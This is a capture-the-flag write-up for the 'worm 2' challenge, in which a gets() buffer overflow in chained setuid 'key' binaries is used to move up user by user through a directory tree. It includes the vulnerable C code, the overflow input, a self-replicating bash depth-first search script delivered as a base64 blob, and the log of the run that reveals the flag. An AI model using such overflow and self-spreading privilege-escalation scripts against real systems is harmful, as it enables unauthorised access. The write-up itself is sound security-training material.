# worm 2
> Note: The original challenge had an unintended solution ?, so this is the> patched version
Write a worm and pwn my system :)
```nc 35.188.197.160 1002```
Attachments: `worm2.zip`
## Overview
After connecting the server, we this:
```$ nc 35.188.197.160 1002Send the output of: hashcash -mb26 5qB3LV9O/rHt8dQ91:26:210613:5qb3lv9o/rht8dq9::obR0I0xtrnii7Z7N:3fgTkwarning: commands will be executed using /bin/shjob 153 at Sun Jun 13 18:27:00 2021Creating network "64d81a00b78f2c0d0e179a8992e2057b_default" with the default driverCreating 64d81a00b78f2c0d0e179a8992e2057b_app_run ...Creating 64d81a00b78f2c0d0e179a8992e2057b_app_run ... doneAdding group `user1' (GID 1000) ...Done.Adding group `user2' (GID 1001) ...Done.Adding group `user3' (GID 1002) ...Done.Adding group `user4' (GID 1003) ...Done.Adding group `user5' (GID 1004) ...Done.Adding group `user6' (GID 1005) ...Done.Adding group `user7' (GID 1006) ...Done.Adding group `user8' (GID 1007) ...Done.Adding group `user9' (GID 1008) ...Done.Adding group `user10' (GID 1009) ...Done.[*] Compiling key 2 ...[*] Done[*] Compiling key 3 ...[*] Done[*] Compiling key 4 ...[*] Done[*] Compiling key 5 ...[*] Done[*] Compiling key 6 ...[*] Done[*] Compiling key 7 ...[*] Done[*] Compiling key 8 ...[*] Done[*] Compiling key 9 ...[*] Done[*] Compiling key 10 ...[*] Done[*] Building tree with 1023 nodes ...[*] Planting flag in a random leaf node ...[+] Ready[*] You now have a shell![*] Please enter your exploit below (max 512 chars):```
On the remote server, we only get to execute one command non-interactively. Youcan set up the challenge locally to test though:
We start off as `user1` in the root directory.If we `cd` to `/room0`, we see:```shuser1@14f2437dee35:/room0$ ls -lahtotal 36Kdr-xr-x--- 4 user1 user2 4.0K May 15 01:26 .drwxr-xr-x 1 root  root  4.0K May 15 01:26 ..-r-sr-x--- 1 user2 user1  17K May 15 01:26 keydr-xr-x--- 4 user2 user3 4.0K May 15 01:26 room0dr-xr-x--- 4 user2 user3 4.0K May 15 01:26 room1```
If we try `cd room0` or `cd room1`, we get `Permission denied`. Luckily, the`key` executable is owned by `user2` and has the `setuid` bit set. Running`./key`, we get:
```shuser1@14f2437dee35:/room0$ ./keyName: idkUnauthorized :(```
Here's the relevant code from `key.c`:```ctypedef struct {    char name[32];    char password[32];} User;
void auth() {    printf("Authenticating ...\n");    assert(setuid(ID) == 0);    assert(setgid(ID) == 0);    system("/bin/bash");}
int main() {    User user;
    printf("Name: ");    gets(user.name);
    if (strncmp(user.password, "p4ssw0rd", 8) == 0) {        auth();    } else {        printf("Unauthorized :(\n");    }return 0;}```
There's clearly a BOF at `gets(user.name)`, so we can type in 32 characters andoverflow into `user.password` to set it to `p4ssw0rd`.
```shuser1@14f2437dee35:/room0$ ./keyName: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp4ssw0rdAuthenticating ...user2@14f2437dee35:/room0$ iduid=1001(user2) gid=1001(user2) groups=1001(user2),1000(user1)```
Now we're `user2` and can `cd` to `room0` or `room1`. In `/room0/room1`, we seenearly the exact same thing:```shuser2@14f2437dee35:/room0/room1$ ls -lahtotal 36Kdr-xr-x--- 4 user2 user3 4.0K May 15 01:26 .dr-xr-x--- 4 user1 user2 4.0K May 15 01:26 ..-r-sr-x--- 1 user3 user2  17K May 15 01:26 keydr-xr-x--- 4 user3 user4 4.0K May 15 01:26 room0dr-xr-x--- 4 user3 user4 4.0K May 15 01:26 room1```
Again if we try to `cd room0` or `cd room1`, we get `Permission denied`, so wehave to use the `key`.
We know that `MAX_DEPTH = 10` so directory structure forms a full binary tree,and the flag is located in a random leaf node.```pythondef plant_flag():    os.chdir("room0")    while len(os.listdir()) > 0:        os.chdir(f"room{random.randint(0, 1)}")
    os.rename("/flag.txt", "./flag.txt")```
Finally, our entire exploit must be less than 512 characters (externalnetworking is disabled so we can't download any additional payloads):```bashecho "[*] You now have a shell!"echo "[*] Please enter your exploit below (max 512 chars):"read -n 512 cmdexec su user1 -c "$cmd" 0<&-```
## Solution
Do depth-first search with a self-replicating exploit:```bashecho -n . 1>&2
if [ -f "flag.txt" ]; then    cat flag.txt 1>&2fi
if [ -f "key" ]; then    payload=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp4ssw0rd    (echo $payload && echo "cd room0 && exec bash /tmp/solve.sh") | ./key > /dev/null    (echo $payload && echo "cd room1 && exec bash /tmp/solve.sh") | ./key > /dev/nullfi```
Output:```sh$ python3 client.py[x] Opening connection to localhost on port 1024[x] Opening connection to localhost on port 1024: Trying 127.0.0.1[+] Opening connection to localhost on port 1024: Done[*] Solving PoW ...[DEBUG] Received 0x34 bytes:    b'Send the output of: hashcash -mb26 ehmCMcCi7SHUqWes\n'[+] Solved PoW[DEBUG] Sent 0x35 bytes:    b'1:26:210515:ehmcmcci7shuqwes::FmB8btNpTIqC54om:2Bd/y\n'[DEBUG] Sent 0x150 bytes:    b'cd /tmp && echo -n H4sIAAwmn2AC/5WPTQrCMBSE9z3FEKTookkr7sSC5xAXMT+mmCalibUFD2+tCrpSZznvfcOMEsYjc6AoynSZJJXGDpkG0ZYfaewjwX6NaJRLMErwiNflQejqDTqp4fO/4YP1XG62X9SsQrjkrZygubqXmj1ZpCkmgwiJ1vs6n5xeCRx4MGCxbljwtlM0GLLAFZSNPVCCSdUxd7b2l9Ti/9Rx+g33VaPsPwEAAA== | base64 -d > solve.sh.gz && gzip -d solve.sh.gz && cd /room0 && bash /tmp/solve.sh\n'[*] Switching to interactive modewarning: commands will be executed using /bin/shjob 20 at Sat May 15 01:44:00 2021Creating network "9a97ccccc44d5152637380a682ac72ea_default" with the default driverCreating 9a97ccccc44d5152637380a682ac72ea_app_run ... Creating 9a97ccccc44d5152637380a682ac72ea_app_run ... doneAdding group `user1' (GID 1000) ...Done.Adding group `user2' (GID 1001) ...Done.Adding group `user3' (GID 1002) ...Done.Adding group `user4' (GID 1003) ...Done.Adding group `user5' (GID 1004) ...Done.Adding group `user6' (GID 1005) ...Done.Adding group `user7' (GID 1006) ...Done.Adding group `user8' (GID 1007) ...Done.Adding group `user9' (GID 1008) ...Done.Adding group `user10' (GID 1009) ...Done.[*] Compiling key 2 ...[*] Done[*] Compiling key 3 ...[*] Done[*] Compiling key 4 ...[*] Done[*] Compiling key 5 ...[*] Done[*] Compiling key 6 ...[*] Done[*] Compiling key 7 ...[*] Done[*] Compiling key 8 ...[*] Done[*] Compiling key 9 ...[*] Done[*] Compiling key 10 ...[*] Done[*] Building tree with 1023 nodes ...[*] Planting flag in a random leaf node ...[+] Ready[*] You now have a shell![*] Please enter your exploit below (max 512 chars):........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................CCC{I_c4nt_b3l1ev3_1_f0rg0t_t0_cl0s3_std1n}.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................[*] Got EOF while reading in interactive```